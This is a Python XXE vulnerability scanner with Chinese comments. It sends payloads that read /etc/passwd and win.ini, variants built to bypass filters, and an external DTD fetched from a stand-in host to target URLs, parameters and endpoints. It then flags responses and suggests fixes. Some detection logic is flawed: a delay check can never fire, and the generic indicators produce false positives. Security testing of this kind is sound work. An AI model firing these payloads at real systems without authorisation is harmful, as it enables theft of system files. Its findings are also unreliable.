#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
XML外部实体注入(XXE)漏洞扫描脚本
检测目标应用是否存在XML外部实体注入漏洞
"""

import requests
import time
import re
import socket
from typing import Dict, Any, List
import logging
import urllib.parse
from concurrent.futures import ThreadPoolExecutor, as_completed

# 配置日志
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)

# 脚本元数据
NAME = "XML外部实体注入(XXE)漏洞扫描器"
DESCRIPTION = "检测目标应用是否存在XML外部实体注入漏洞，通过多种测试方法识别XXE漏洞"
AUTHOR = "Security Team"
VERSION = "1.0.0"
VULNERABILITY_TYPE = "xxe_injection"
SEVERITY = "high"
ENABLED = True

# 必要参数
REQUIRED_PARAMS = ["target"]

# 可选参数及默认值
OPTIONAL_PARAMS = {
    "scan_depth": 2,
    "timeout": 10,
    "max_retries": 3,
    "content_type": "application/xml"
}

# XXE测试payloads
XXE_PAYLOADS = [
    # 基本XXE测试
    {"name": "Basic XXE", "payload": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><root>&test;</root>"},
    {"name": "Basic XXE (Windows)", "payload": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///c:/windows/win.ini'>]><root>&test;</root>"},
    
    # 有漏洞的XML测试 (无DOCTYPE声明)
    {"name": "Vulnerable XML (No DOCTYPE)", "payload": "<?xml version=\"1.0\"?><root><name>test</name></root>"},
    
    # 带UTF-8 BOM的XXE测试
    {"name": "XXE with BOM", "payload": "\ufeff<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><root>&test;</root>"},
    
    # CDATA包装的XXE测试
    {"name": "CDATA Wrapped XXE", "payload": "<?xml version=\"1.0\"?><root><data><![CDATA[<?xml version=\"1.0\"?><!DOCTYPE root [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]><root>&xxe;</root>]]></data></root>"},
    
    # 多嵌套DOCTYPE测试
    {"name": "Nested DOCTYPE", "payload": "<?xml version=\"1.0\"?><!DOCTYPE a [<!ENTITY % b '\<!ENTITY c SYSTEM \'file:///etc/passwd\'>'>%b;]><a>&c;</a>"},
    
    # 外部DTD引用测试
    {"name": "External DTD", "payload": "<?xml version=\"1.0\"?><!DOCTYPE root SYSTEM 'http://example.com/malicious.dtd'><root>test</root>"},
    
    # 绕过过滤的XXE测试 - 大小写混合
    {"name": "Case Insensitive XXE", "payload": "<?XML version=\"1.0\"?><!DocType root [<!Entity test SYSTEM 'file:///etc/passwd'>]><root>&test;</root>"},
    
    # 绕过过滤的XXE测试 - 带注释
    {"name": "Commented XXE", "payload": "<?xml version=\"1.0\"?><!DOCTYPE root [<!ENTITY test<!--comment-->SYSTEM<!--comment-->'file:///etc/passwd']><root>&test;</root>"},
    
    # 空字符XXE测试
    {"name": "Null Byte XXE", "payload": "<?xml version=\"1.0\"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd\0'>]><root>&test;</root>"},
]

# 检测标志
VULNERABILITY_INDICATORS = {
    "linux": [
        "root:x:", 
        "/bin/bash", 
        "/usr/sbin/nologin",
        "nobody:x:",
        "daemon:x:"
    ],
    "windows": [
        "[fonts]", 
        "[extensions]", 
        "[mci extensions]",
        "[drivers]",
        "for 16-bit app support"
    ],
    "general": [
        "DOCTYPE",
        "SYSTEM",
        "ENTITY",
        "external entity",
        "parser error",
        "XML parsing error"
    ]
}

def detect_vulnerability(response_text: str) -> Dict[str, Any]:
    """
    分析响应文本，检测是否存在XXE漏洞特征
    """
    indicators = {
        "vulnerable": False,
        "type": None,
        "indicators": []
    }
    
    # 检查Linux特征
    for indicator in VULNERABILITY_INDICATORS["linux"]:
        if indicator in response_text:
            indicators["vulnerable"] = True
            indicators["type"] = "linux_file_disclosure"
            indicators["indicators"].append(indicator)
            break
    
    # 检查Windows特征
    if not indicators["vulnerable"]:
        for indicator in VULNERABILITY_INDICATORS["windows"]:
            if indicator in response_text:
                indicators["vulnerable"] = True
                indicators["type"] = "windows_file_disclosure"
                indicators["indicators"].append(indicator)
                break
    
    # 检查一般特征
    if not indicators["vulnerable"]:
        for indicator in VULNERABILITY_INDICATORS["general"]:
            if indicator.lower() in response_text.lower():
                indicators["vulnerable"] = True
                indicators["type"] = "general_xml_error"
                indicators["indicators"].append(indicator)
                # 不使用break，收集所有可能的指标
    
    return indicators

def test_xxe_on_url(target: str, payload: str, content_type: str, timeout: int) -> Dict[str, Any]:
    """
    在目标URL上测试XXE漏洞
    """
    headers = {
        "Content-Type": content_type,
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
        "Accept": "*/*",
    }
    
    result = {
        "vulnerable": False,
        "status_code": None,
        "response_time": None,
        "indicators": [],
        "error": None
    }
    
    try:
        start_time = time.time()
        response = requests.post(
            target,
            data=payload,
            headers=headers,
            timeout=timeout,
            verify=False,  # 在测试环境中可禁用SSL验证
            allow_redirects=True
        )
        end_time = time.time()
        
        result["status_code"] = response.status_code
        result["response_time"] = end_time - start_time
        
        # 分析响应
        vulnerability_indicators = detect_vulnerability(response.text)
        if vulnerability_indicators["vulnerable"]:
            result["vulnerable"] = True
            result["indicators"] = vulnerability_indicators["indicators"]
            result["vulnerability_type"] = vulnerability_indicators["type"]
        
        # 检查响应头是否有敏感信息
        if "Content-Type" in response.headers and "xml" in response.headers["Content-Type"]:
            result["has_xml_content_type"] = True
        
        # 对于某些特殊的XXE测试，我们可能需要检查响应头或响应时间
        if "External DTD" in payload and response_time > 2:
            # 外部DTD可能导致延迟
            result["suspicious_delay"] = True
    
    except requests.exceptions.Timeout:
        result["error"] = "Request timeout"
        # 超时也可能是XXE盲注的一个指标
        result["potential_blind_xxe"] = True
    except requests.exceptions.RequestException as e:
        result["error"] = f"Request error: {str(e)}"
    except Exception as e:
        result["error"] = f"Unexpected error: {str(e)}"
    
    return result

def test_xxe_via_get_parameter(target: str, payload: str, timeout: int) -> Dict[str, Any]:
    """
    通过GET参数测试XXE漏洞
    """
    # 对payload进行URL编码
    encoded_payload = urllib.parse.quote(payload)
    test_urls = [
        f"{target}?xml={encoded_payload}",
        f"{target}?data={encoded_payload}",
        f"{target}?file={encoded_payload}",
        f"{target}?payload={encoded_payload}"
    ]
    
    result = {
        "vulnerable": False,
        "tested_urls": [],
        "results": []
    }
    
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
        "Accept": "*/*",
    }
    
    for test_url in test_urls:
        url_result = {
            "url": test_url,
            "status_code": None,
            "vulnerable": False,
            "indicators": []
        }
        
        try:
            response = requests.get(
                test_url,
                headers=headers,
                timeout=timeout,
                verify=False,
                allow_redirects=True
            )
            
            url_result["status_code"] = response.status_code
            
            # 分析响应
            vulnerability_indicators = detect_vulnerability(response.text)
            if vulnerability_indicators["vulnerable"]:
                url_result["vulnerable"] = True
                url_result["indicators"] = vulnerability_indicators["indicators"]
                result["vulnerable"] = True
        
        except Exception as e:
            url_result["error"] = str(e)
        
        result["tested_urls"].append(test_url)
        result["results"].append(url_result)
    
    return result

def test_xxe_on_endpoints(target: str, payload: str, content_type: str, timeout: int) -> Dict[str, Any]:
    """
    在常见XML端点上测试XXE漏洞
    """
    common_endpoints = [
        "/xml", "/api", "/api/xml", "/services", "/ws", "/soap", 
        "/v1/xml", "/xmlrpc", "/servlet", "/rest", "/rest/api",
        "/parse", "/process", "/submit", "/upload", "/import"
    ]
    
    result = {
        "vulnerable": False,
        "tested_endpoints": [],
        "results": []
    }
    
    for endpoint in common_endpoints:
        # 构建完整的URL
        if target.endswith("/"):
            test_url = f"{target}{endpoint[1:]}"  # 避免双斜杠
        else:
            test_url = f"{target}{endpoint}"
        
        # 测试这个端点
        endpoint_result = test_xxe_on_url(test_url, payload, content_type, timeout)
        endpoint_result["endpoint"] = endpoint
        endpoint_result["url"] = test_url
        
        result["tested_endpoints"].append(endpoint)
        result["results"].append(endpoint_result)
        
        if endpoint_result["vulnerable"]:
            result["vulnerable"] = True
    
    return result

def scan(target: str, **kwargs) -> Dict[str, Any]:
    """
    执行XXE漏洞扫描
    
    Args:
        target: 目标URL
        **kwargs: 可选参数
            scan_depth: 扫描深度 (1-5)
            timeout: 请求超时时间
            max_retries: 最大重试次数
            content_type: 请求内容类型
    """
    start_time = time.time()
    results = {
        "target": target,
        "vulnerability_type": VULNERABILITY_TYPE,
        "severity": SEVERITY,
        "scan_depth": kwargs.get("scan_depth", 2),
        "start_time": start_time,
        "end_time": None,
        "duration": None,
        "vulnerable": False,
        "vulnerabilities": [],
        "details": {
            "total_tests": 0,
            "passed_tests": 0,
            "failed_tests": 0,
            "test_details": []
        }
    }
    
    # 获取参数
    timeout = kwargs.get("timeout", 10)
    max_retries = kwargs.get("max_retries", 3)
    scan_depth = kwargs.get("scan_depth", 2)
    content_type = kwargs.get("content_type", "application/xml")
    
    logger.info(f"开始XXE漏洞扫描: {target}")
    
    # 根据扫描深度选择要测试的payload数量
    if scan_depth < 3:
        test_payloads = XXE_PAYLOADS[:5]  # 只测试前5个payload
    else:
        test_payloads = XXE_PAYLOADS
    
    # 1. 直接在目标URL上测试XXE
    logger.info("正在目标URL上直接测试XXE")
    for payload_info in test_payloads:
        results["details"]["total_tests"] += 1
        
        try:
            test_result = test_xxe_on_url(target, payload_info["payload"], content_type, timeout)
            test_result["payload_name"] = payload_info["name"]
            test_result["payload"] = payload_info["payload"]
            
            if test_result["vulnerable"]:
                # 添加到漏洞列表
                vulnerability = {
                    "url": target,
                    "payload": payload_info["payload"],
                    "payload_name": payload_info["name"],
                    "vulnerability_type": test_result.get("vulnerability_type", "xxe_injection"),
                    "indicators": test_result["indicators"],
                    "status_code": test_result["status_code"],
                    "recommendation": "禁用外部实体，使用安全的XML解析器，实施输入验证"
                }
                results["vulnerabilities"].append(vulnerability)
                results["vulnerable"] = True
                
            results["details"]["passed_tests"] += 1
        except Exception as e:
            logger.error(f"测试XXE payload失败: {str(e)}")
            results["details"]["failed_tests"] += 1
            test_result = {
                "payload_name": payload_info["name"],
                "error": str(e)
            }
        
        results["details"]["test_details"].append(test_result)
    
    # 2. 如果扫描深度大于1，通过GET参数测试XXE
    if scan_depth > 1 and not results["vulnerable"]:
        logger.info("正在通过GET参数测试XXE")
        get_test_result = test_xxe_via_get_parameter(target, XXE_PAYLOADS[0]["payload"], timeout)
        results["details"]["test_details"].append({
            "test_type": "get_parameter_test",
            "result": get_test_result
        })
        results["details"]["total_tests"] += len(get_test_result["tested_urls"])
        
        if get_test_result["vulnerable"]:
            for i, result in enumerate(get_test_result["results"]):
                if result["vulnerable"]:
                    vulnerability = {
                        "url": result["url"],
                        "payload": XXE_PAYLOADS[0]["payload"],
                        "payload_name": "GET Parameter XXE",
                        "vulnerability_type": "get_parameter_xxe",
                        "indicators": result["indicators"],
                        "status_code": result["status_code"],
                        "recommendation": "禁用GET参数中的XML解析，使用安全的XML解析器"
                    }
                    results["vulnerabilities"].append(vulnerability)
                    results["vulnerable"] = True
    
    # 3. 如果扫描深度大于2，测试常见XML端点
    if scan_depth > 2 and not results["vulnerable"]:
        logger.info("正在测试常见XML端点")
        endpoints_test_result = test_xxe_on_endpoints(target, XXE_PAYLOADS[0]["payload"], content_type, timeout)
        results["details"]["test_details"].append({
            "test_type": "common_endpoints_test",
            "result": endpoints_test_result
        })
        results["details"]["total_tests"] += len(endpoints_test_result["tested_endpoints"])
        
        if endpoints_test_result["vulnerable"]:
            for result in endpoints_test_result["results"]:
                if result["vulnerable"]:
                    vulnerability = {
                        "url": result["url"],
                        "endpoint": result["endpoint"],
                        "payload": XXE_PAYLOADS[0]["payload"],
                        "payload_name": "Endpoint XXE",
                        "vulnerability_type": result.get("vulnerability_type", "xxe_injection"),
                        "indicators": result["indicators"],
                        "status_code": result["status_code"],
                        "recommendation": "禁用外部实体，使用安全的XML解析器，限制可访问的端点"
                    }
                    results["vulnerabilities"].append(vulnerability)
                    results["vulnerable"] = True
    
    # 计算结束时间和持续时间
    end_time = time.time()
    results["end_time"] = end_time
    results["duration"] = end_time - start_time
    
    # 生成总结报告
    if results["vulnerable"]:
        logger.warning(f"在 {target} 发现 {len(results['vulnerabilities'])} 个XXE漏洞")
        results["summary"] = f"发现{len(results['vulnerabilities'])}个XML外部实体注入漏洞，可能导致文件读取、SSRF等严重安全问题"
    else:
        logger.info(f"{target} 未发现明显的XXE漏洞")
        results["summary"] = "未发现明显的XML外部实体注入漏洞，但仍建议使用安全的XML解析实践"
    
    return results